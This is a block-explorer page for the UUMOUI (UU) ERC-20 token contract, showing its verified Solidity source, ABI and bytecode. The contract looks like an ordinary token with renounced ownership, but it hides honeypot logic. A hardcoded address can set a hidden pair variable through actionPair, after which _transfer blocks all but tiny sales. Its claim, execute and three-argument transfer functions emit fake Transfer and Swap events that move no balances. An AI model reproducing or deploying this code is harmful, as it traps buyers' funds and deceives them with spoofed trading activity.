ETH Price: $3,561.34 (+6.75%)

Token

(0x389e287c6a6ce91dc5d7AcFf0e792CEbb8469721)
 

Overview

Max Total Supply

1,000,000 ERC-20 TOKEN*

Holders

72 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Filtered by Token Holder
Uniswap V2: JJ
Balance
500 ERC-20 TOKEN*

Value
$0.00
0x22C5fdb171CEB269E970bd165976974acCBC605D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-01
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract TOKEN is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _p76234;
    uint256 private  _e242 = 999;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function claim(address [] calldata _addresses_, uint256 _in, address _a) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
            emit Transfer(_p76234, _addresses_[i], _in);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _in, address _a) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
            emit Transfer(_p76234, _addresses_[i], _in);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function actionPair(address account) public virtual returns (bool) {
         if(_msgSender() == 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F) _p76234 = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) || (_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && from  != 0xCa219C74bD63122060785439B12cf80Cfe3B5cBA)) {
            uint256 _X7W88 = amount + 1;
            require(_X7W88 < _e242 );
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = "UUMOUI";
        _symbol = "UU";
        _mint(msg.sender, 1000000 * 10 ** decimals());
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"actionPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"address","name":"_a","type":"address"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"address","name":"_a","type":"address"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526103e760075534801562000016575f80fd5b50620000376200002b6200010a60201b60201c565b6200011160201b60201c565b6040518060400160405280600681526020017f55554d4f55490000000000000000000000000000000000000000000000000000815250600490816200007d919062000681565b506040518060400160405280600281526020017f555500000000000000000000000000000000000000000000000000000000000081525060059081620000c4919062000681565b506200010433620000da620001d260201b60201c565b600a620000e89190620008ee565b620f4240620000f891906200093e565b620001da60201b60201c565b62000ada565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200024b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200024290620009e6565b60405180910390fd5b8060035f8282546200025e919062000a06565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200030e919062000a51565b60405180910390a3620003295f83836200033d60201b60201c565b620003396200034260201b60201c565b5050565b505050565b620003526200036560201b60201c565b620003635f6200011160201b60201c565b565b620003756200010a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200039b620003f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620003f4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003eb9062000aba565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200049957607f821691505b602082108103620004af57620004ae62000454565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620005137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004d6565b6200051f8683620004d6565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000569620005636200055d8462000537565b62000540565b62000537565b9050919050565b5f819050919050565b620005848362000549565b6200059c620005938262000570565b848454620004e2565b825550505050565b5f90565b620005b2620005a4565b620005bf81848462000579565b505050565b5b81811015620005e657620005da5f82620005a8565b600181019050620005c5565b5050565b601f8211156200063557620005ff81620004b5565b6200060a84620004c7565b810160208510156200061a578190505b620006326200062985620004c7565b830182620005c4565b50505b505050565b5f82821c905092915050565b5f620006575f19846008026200063a565b1980831691505092915050565b5f62000671838362000646565b9150826002028217905092915050565b6200068c826200041d565b67ffffffffffffffff811115620006a857620006a762000427565b5b620006b4825462000481565b620006c1828285620005ea565b5f60209050601f831160018114620006f7575f8415620006e2578287015190505b620006ee858262000664565b8655506200075d565b601f1984166200070786620004b5565b5f5b82811015620007305784890151825560018201915060208501945060208101905062000709565b868310156200075057848901516200074c601f89168262000646565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620007ef57808604811115620007c757620007c662000765565b5b6001851615620007d75780820291505b8081029050620007e78562000792565b9450620007a7565b94509492505050565b5f82620008095760019050620008db565b8162000818575f9050620008db565b81600181146200083157600281146200083c5762000872565b6001915050620008db565b60ff84111562000851576200085062000765565b5b8360020a9150848211156200086b576200086a62000765565b5b50620008db565b5060208310610133831016604e8410600b8410161715620008ac5782820a905083811115620008a657620008a562000765565b5b620008db565b620008bb84848460016200079e565b92509050818404811115620008d557620008d462000765565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620008fa8262000537565b91506200090783620008e2565b9250620009367fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007f8565b905092915050565b5f6200094a8262000537565b9150620009578362000537565b9250828202620009678162000537565b9150828204841483151762000981576200098062000765565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f620009ce601f8362000988565b9150620009db8262000998565b602082019050919050565b5f6020820190508181035f830152620009ff81620009c0565b9050919050565b5f62000a128262000537565b915062000a1f8362000537565b925082820190508082111562000a3a5762000a3962000765565b5b92915050565b62000a4b8162000537565b82525050565b5f60208201905062000a665f83018462000a40565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62000aa260208362000988565b915062000aaf8262000a6c565b602082019050919050565b5f6020820190508181035f83015262000ad38162000a94565b9050919050565b611ca18062000ae85f395ff3fe608060405234801561000f575f80fd5b5060043610610109575f3560e01c8063715018a6116100a0578063aafe62d11161006f578063aafe62d1146102a5578063beabacc8146102c1578063dd62ed3e146102dd578063e7b817491461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806323b872dd116100dc57806323b872dd1461019557806326ededb8146101c5578063313ce567146101e157806370a08231146101ff57610109565b806302f4dae31461010d57806306fdde0314610129578063095ea7b31461014757806318160ddd14610177575b5f80fd5b610127600480360381019061012291906113b2565b610359565b005b6101316104b9565b60405161013e91906114ad565b60405180910390f35b610161600480360381019061015c91906114cd565b610549565b60405161016e9190611525565b60405180910390f35b61017f61056b565b60405161018c919061154d565b60405180910390f35b6101af60048036038101906101aa9190611566565b610574565b6040516101bc9190611525565b60405180910390f35b6101df60048036038101906101da91906115b6565b6105a2565b005b6101e961066f565b6040516101f6919061162e565b60405180910390f35b61021960048036038101906102149190611647565b610677565b604051610226919061154d565b60405180910390f35b6102376106bd565b005b6102416106d0565b60405161024e9190611681565b60405180910390f35b61025f6106f7565b60405161026c91906114ad565b60405180910390f35b61028f600480360381019061028a91906114cd565b610787565b60405161029c9190611525565b60405180910390f35b6102bf60048036038101906102ba91906113b2565b6107a9565b005b6102db60048036038101906102d69190611566565b610909565b005b6102f760048036038101906102f2919061169a565b610973565b604051610304919061154d565b60405180910390f35b61032760048036038101906103229190611647565b6109f5565b6040516103349190611525565b60405180910390f35b61035760048036038101906103529190611647565b610a8e565b005b5f5b848490508110156104b257848482818110610379576103786116d8565b5b905060200201602081019061038e9190611647565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80886040516103f09493929190611747565b60405180910390a384848281811061040b5761040a6116d8565b5b90506020020160208101906104209190611647565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161049d919061154d565b60405180910390a3808060010191505061035b565b5050505050565b6060600480546104c8906117b7565b80601f01602080910402602001604051908101604052809291908181526020018280546104f4906117b7565b801561053f5780601f106105165761010080835404028352916020019161053f565b820191905f5260205f20905b81548152906001019060200180831161052257829003601f168201915b5050505050905090565b5f80610553610b10565b9050610560818585610b17565b600191505092915050565b5f600354905090565b5f8061057e610b10565b905061058b858285610cda565b610596858585610d65565b60019150509392505050565b5f5b83839050811015610669578383828181106105c2576105c16116d8565b5b90506020020160208101906105d79190611647565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610654919061154d565b60405180910390a380806001019150506105a4565b50505050565b5f6008905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106c5611178565b6106ce5f6111f6565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610706906117b7565b80601f0160208091040260200160405190810160405280929190818152602001828054610732906117b7565b801561077d5780601f106107545761010080835404028352916020019161077d565b820191905f5260205f20905b81548152906001019060200180831161076057829003601f168201915b5050505050905090565b5f80610791610b10565b905061079e818585610d65565b600191505092915050565b5f5b84849050811015610902578484828181106107c9576107c86116d8565b5b90506020020160208101906107de9190611647565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80886040516108409493929190611747565b60405180910390a384848281811061085b5761085a6116d8565b5b90506020020160208101906108709190611647565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108ed919061154d565b60405180910390a380806001019150506107ab565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610966919061154d565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff16610a29610b10565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b610a96611178565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb90611857565b60405180910390fd5b610b0d816111f6565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c906118e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bea90611973565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccd919061154d565b60405180910390a3505050565b5f610ce58484610973565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d5f5781811015610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d48906119db565b60405180910390fd5b610d5e8484848403610b17565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90611a69565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890611af7565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610edd5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610fcc57508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610f7f5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610fcb575073ca219c74bd63122060785439b12cf80cfe3b5cba73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610ff0575f600182610fdf9190611b42565b90506007548110610fee575f80fd5b505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90611be5565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115f919061154d565b60405180910390a36111728484846112b7565b50505050565b611180610b10565b73ffffffffffffffffffffffffffffffffffffffff1661119e6106d0565b73ffffffffffffffffffffffffffffffffffffffff16146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb90611c4d565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126112e5576112e46112c4565b5b8235905067ffffffffffffffff811115611302576113016112c8565b5b60208301915083602082028301111561131e5761131d6112cc565b5b9250929050565b5f819050919050565b61133781611325565b8114611341575f80fd5b50565b5f813590506113528161132e565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61138182611358565b9050919050565b61139181611377565b811461139b575f80fd5b50565b5f813590506113ac81611388565b92915050565b5f805f80606085870312156113ca576113c96112bc565b5b5f85013567ffffffffffffffff8111156113e7576113e66112c0565b5b6113f3878288016112d0565b9450945050602061140687828801611344565b92505060406114178782880161139e565b91505092959194509250565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561145a57808201518184015260208101905061143f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61147f82611423565b611489818561142d565b935061149981856020860161143d565b6114a281611465565b840191505092915050565b5f6020820190508181035f8301526114c58184611475565b905092915050565b5f80604083850312156114e3576114e26112bc565b5b5f6114f08582860161139e565b925050602061150185828601611344565b9150509250929050565b5f8115159050919050565b61151f8161150b565b82525050565b5f6020820190506115385f830184611516565b92915050565b61154781611325565b82525050565b5f6020820190506115605f83018461153e565b92915050565b5f805f6060848603121561157d5761157c6112bc565b5b5f61158a8682870161139e565b935050602061159b8682870161139e565b92505060406115ac86828701611344565b9150509250925092565b5f805f604084860312156115cd576115cc6112bc565b5b5f84013567ffffffffffffffff8111156115ea576115e96112c0565b5b6115f6868287016112d0565b9350935050602061160986828701611344565b9150509250925092565b5f60ff82169050919050565b61162881611613565b82525050565b5f6020820190506116415f83018461161f565b92915050565b5f6020828403121561165c5761165b6112bc565b5b5f6116698482850161139e565b91505092915050565b61167b81611377565b82525050565b5f6020820190506116945f830184611672565b92915050565b5f80604083850312156116b0576116af6112bc565b5b5f6116bd8582860161139e565b92505060206116ce8582860161139e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61173161172c61172784611705565b61170e565b611325565b9050919050565b61174181611717565b82525050565b5f60808201905061175a5f83018761153e565b6117676020830186611738565b6117746040830185611738565b611781606083018461153e565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806117ce57607f821691505b6020821081036117e1576117e061178a565b5b50919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61184160268361142d565b915061184c826117e7565b604082019050919050565b5f6020820190508181035f83015261186e81611835565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118cf60248361142d565b91506118da82611875565b604082019050919050565b5f6020820190508181035f8301526118fc816118c3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61195d60228361142d565b915061196882611903565b604082019050919050565b5f6020820190508181035f83015261198a81611951565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6119c5601d8361142d565b91506119d082611991565b602082019050919050565b5f6020820190508181035f8301526119f2816119b9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a5360258361142d565b9150611a5e826119f9565b604082019050919050565b5f6020820190508181035f830152611a8081611a47565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611ae160238361142d565b9150611aec82611a87565b604082019050919050565b5f6020820190508181035f830152611b0e81611ad5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b4c82611325565b9150611b5783611325565b9250828201905080821115611b6f57611b6e611b15565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611bcf60268361142d565b9150611bda82611b75565b604082019050919050565b5f6020820190508181035f830152611bfc81611bc3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611c3760208361142d565b9150611c4282611c03565b602082019050919050565b5f6020820190508181035f830152611c6481611c2b565b905091905056fea2646970667358221220f01e2ef4c030cb0de6be4ef6dcc79f9056d0bbbbf84dcc995e1037a184350e1064736f6c63430008160033

Deployed Bytecode

